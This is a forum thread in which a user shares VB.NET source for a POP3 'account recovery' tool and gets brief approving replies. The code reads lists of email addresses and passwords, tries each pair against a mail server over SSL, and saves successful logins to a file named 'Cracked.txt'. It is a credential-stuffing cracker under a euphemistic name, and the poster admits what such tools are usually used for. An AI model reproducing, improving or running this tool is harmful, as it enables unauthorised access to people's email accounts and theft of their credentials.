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Thread: [Pop Protocol Account Recovery](#)

#Kat - April 13, 2015, 5:27 pm

Digging through my main external harddrive and found a project I started for a friend when I first started working with .net. Well basically its a account recovery tool lol needless to say we all know what these are usually made for but yeah sugar coat but okay..

Uses tcp socket class , streamreader and so on assuming you guys actually read the lines..

```
Code Imports System.IO
Imports System.Net.Sockets
Imports System.Text
Imports System.Net.Security
Public Class Form1
```

```
    Dim PopHost As String
    Dim UserName As String
    Dim Password As String
    Dim PortNm As Integer
    Dim ConnectedA As Boolean
    Dim POP3 As New TcpClient
    Dim Read_Stream As StreamReader
    Dim NetworkS_tream As NetworkStream
    Dim m_sslStream As SslStream
    Dim server_Command, Sent_Val As String
    Dim m_buffer() As Byte
    Dim Server_Reponse As String
    Dim popStat As String
    Dim StatResp As String
```

```
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        TxtUsrNm.SelectionStart = 0
    End Sub
```

```
#Region " Application Functions "
```

```
    Sub Login()
        'POP3.ReceiveTimeout = 100

        NetworkS_tream = POP3.GetStream()
        m_sslStream = New SslStream(NetworkS_tream)
        m_sslStream.AuthenticateAsClient(PopHost) ', Nothing,
System.Security.Authentication.SslProtocols.Ssl3, False)
        Read_Stream = New StreamReader(m_sslStream)
        TextBox1.AppendText(Read_Stream.ReadLine())
        TextBox1.AppendText(Environment.NewLine)
    End Sub
3:
```

```

server_Command = "USER " + UserName + vbCrLf
m_buffer = System.Text.Encoding.ASCII.GetBytes(server_Command.ToCharArray())
m_sslStream.Write(m_buffer, 0, m_buffer.Length)
TextBox1.AppendText(Read_Stream.ReadLine())
TextBox1.AppendText(Environment.NewLine)

```

```

server_Command = "PASS " + Password + vbCrLf
m_buffer = System.Text.Encoding.ASCII.GetBytes(server_Command.ToCharArray())
m_sslStream.Write(m_buffer, 0, m_buffer.Length)
Dim Response As String = Read_Stream.ReadLine
If InStr(Response, "-ERR") Then
'GoTo 2
'Application.DoEvents()
Label2.Text = Response
ElseIf InStr(1, Response, "Welcome") Then
ReconList.Items.Add(UserName & ":" & Password)
Label2.Text = "Recovered: " & UserName & " / " & Password
Application.DoEvents()
GoTo 1
ElseIf InStr(1, Response, "server ready") Then
ReconList.Items.Add(UserName & ":" & Password)
Label2.Text = "Recovered: " & UserName & " / " & Password
Application.DoEvents()
GoTo 1
ElseIf InStr(1, Response, "OK mailbox") Then
ReconList.Items.Add(UserName & ":" & Password)
Label2.Text = "Recovered: " & UserName & " / " & Password
Application.DoEvents()
GoTo 1
ElseIf InStr(1, Response, "+OK maildrop") Then
ReconList.Items.Add(UserName & ":" & Password)
Label2.Text = "Recovered: " & UserName & " / " & Password
Application.DoEvents()
GoTo 1
End If

```

```

1:
server_Command = "STAT " + vbCrLf
m_buffer = System.Text.Encoding.ASCII.GetBytes(server_Command.ToCharArray())
m_sslStream.Write(m_buffer, 0, m_buffer.Length)
' TextBox1.AppendText(Read_Stream.ReadLine())
' TextBox1.AppendText(Environment.NewLine)
'TextBox1.AppendText(Read_Stream.ReadLine())
'TextBox1.AppendText(Environment.NewLine)
'Send STAT command to get information ie: number of mail and size

```

```

2:
Application.DoEvents()
Response = vbEmpty
End Sub

```

```

Public Sub CloseServer()
StatResp = SendCommand(m_sslStream, "QUIT ") & vbCrLf
TextBox1.Text = StatResp & vbCrLf
'TextBox1.Text = Environment.NewLine

```

```
'TextBox1.Text = String.Empty
POP3.Close()
End Sub
```

```
Function SendCommand(ByVal SslStream As SslStream, ByVal Server_Command As String) As String
```

```
    Server_Command = Server_Command & vbCrLf
    m_buffer = System.Text.Encoding.ASCII.GetBytes(Server_Command.ToCharArray())
    m_sslStream.Write(m_buffer, 0, m_buffer.Length)
    Read_Stream = New StreamReader(m_sslStream)
    Server_Reponse = Read_Stream.ReadLine()
    Return Server_Reponse
End Function
```

```
Sub Delay(ByVal dblSecs As Double)
```

```
    Const OneSec As Double = 1.0# / (1440.0# * 60.0#)
    Dim dblWaitTil As Date
    Now.AddSeconds(OneSec)
    dblWaitTil = Now.AddSeconds(OneSec).AddSeconds(dblSecs)
    Do Until Now > dblWaitTil
        Application.DoEvents() ' Allow windows messages to be processed
    Loop
```

```
End Sub
```

```
#End Region
```

```
#Region " Command Buttons "
```

```
Private Sub cmdSave_Click(sender As System.Object, e As System.EventArgs) Handles cmdSave.Click
    Dim StreamW As New IO.StreamWriter(Application.CommonAppDataPath & "\Cracked.txt")
    For i = 0 To TxtUsrNm.Items.Count - 1
        StreamW.WriteLine(ReconList.Items.Item(i))
    Next
    StreamW.Close()
    StreamW.Dispose()
    MsgBox("List Saved")
End Sub
```

```
Private Sub cmdLoade_Click(sender As System.Object, e As System.EventArgs) Handles cmdLoade.Click
    Try
        TxtUsrNm.Items.Clear()
        Dim objReader As New StreamReader(Application.StartupPath & "\Emails.txt")

        Do While Not objReader.EndOfStream
            TxtUsrNm.Items.Add(objReader.ReadLine)
            List1Count.Text = TxtUsrNm.Items.Count
        Loop
        objReader.Close()
    Catch ex As Exception
```

```
Dim Messege As String = ex.ToString
MsgBox(Messege)
End Try
End Sub
```

```
Private Sub cmdLoadp_Click(sender As System.Object, e As System.EventArgs) Handles
cmdLoadp.Click
```

```
Try
TxtPass.Items.Clear()
Dim objReader As New StreamReader(Application.StartupPath & "\Passwords.txt")

Do While Not objReader.EndOfStream
    TxtPass.Items.Add(objReader.ReadLine)
    List2Count.Text = TxtPass.Items.Count
Loop
objReader.Close()
Catch ex As Exception
Dim Messege As String = ex.ToString
MsgBox(Messege)
End Try
End Sub
```

```
Private Sub cmdRecover_Click(sender As System.Object, e As System.EventArgs) Handles
cmdRecover.Click
```

```
For l_index As Integer = 0 To TxtUsrNm.Items.Count - 1 'And TxtPass.Items.Count - 1
TxtUsrNm.Text = CStr(TxtUsrNm.Items(l_index))
' TxtPass.Text = CStr(TxtUsrNm.Items(l_index))
```

```
If POP3.Connected = True Then
    CloseServer()
    PopHost = TxtHost.Text
    UserName = TxtUsrNm.Text
    If chkReverse.Checked = True Then
        Password = StrReverse(TxtPass.Text)
    ' Application.DoEvents()
    Else
        Password = TxtPass.Text
    'Application.DoEvents()
    End If
    PortNm = tPort.Value
    POP3 = New TcpClient(PopHost, Integer.Parse(PortNm))

    'POP3.Connect(PopHost, Integer.Parse(PortNm))
    Login()
    ' Application.DoEvents()
```

```
Else
```

```
    PopHost = TxtHost.Text
    UserName = TxtUsrNm.Text
    Password = TxtPass.Text
    PortNm = tPort.Value
    POP3 = New TcpClient(PopHost, Integer.Parse(PortNm))
```

```
Login()  
    Application.DoEvents()  
End If  
Delay(TextBox3.Text)  
Next  
End Sub
```

```
Private Sub cmdReset_Click(sender As System.Object, e As System.EventArgs) Handles  
cmdReset.Click  
    CloseServer()  
End Sub
```

```
Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles  
Button3.Click  
    If InStr(TxtUsrNm.Text, TextBox2.Text) Then  
        GoTo 1  
    Else  
        TxtUsrNm.Items.Add(TextBox2.Text)  
    End If  
1:  
End Sub
```

#End Region

```
Private Sub cmdClear_Click(sender As System.Object, e As System.EventArgs) Handles  
cmdClear.Click  
    ReconList.Items.Clear()  
End Sub
```

End Class

Never got to a point where I called it perfect in my eyes needless to say few things I would and wouldn't use..

Theme: CrystalTheme

will definately remodel and release a better and fully op version ..

drop suggestions and advice

wish I

Only3 - April 13, 2015, 6:05 pm

the code is very messy but good example of ssl connection

nuk - April 13, 2015, 7:03 pm

Agree with Only3 but it's not too bad at all ;) Thanks for the share OP!

#Kat - April 13, 2015, 7:34 pm

appreciate the feedback will be actually updating it and having quite a bit of fun doing so as we speak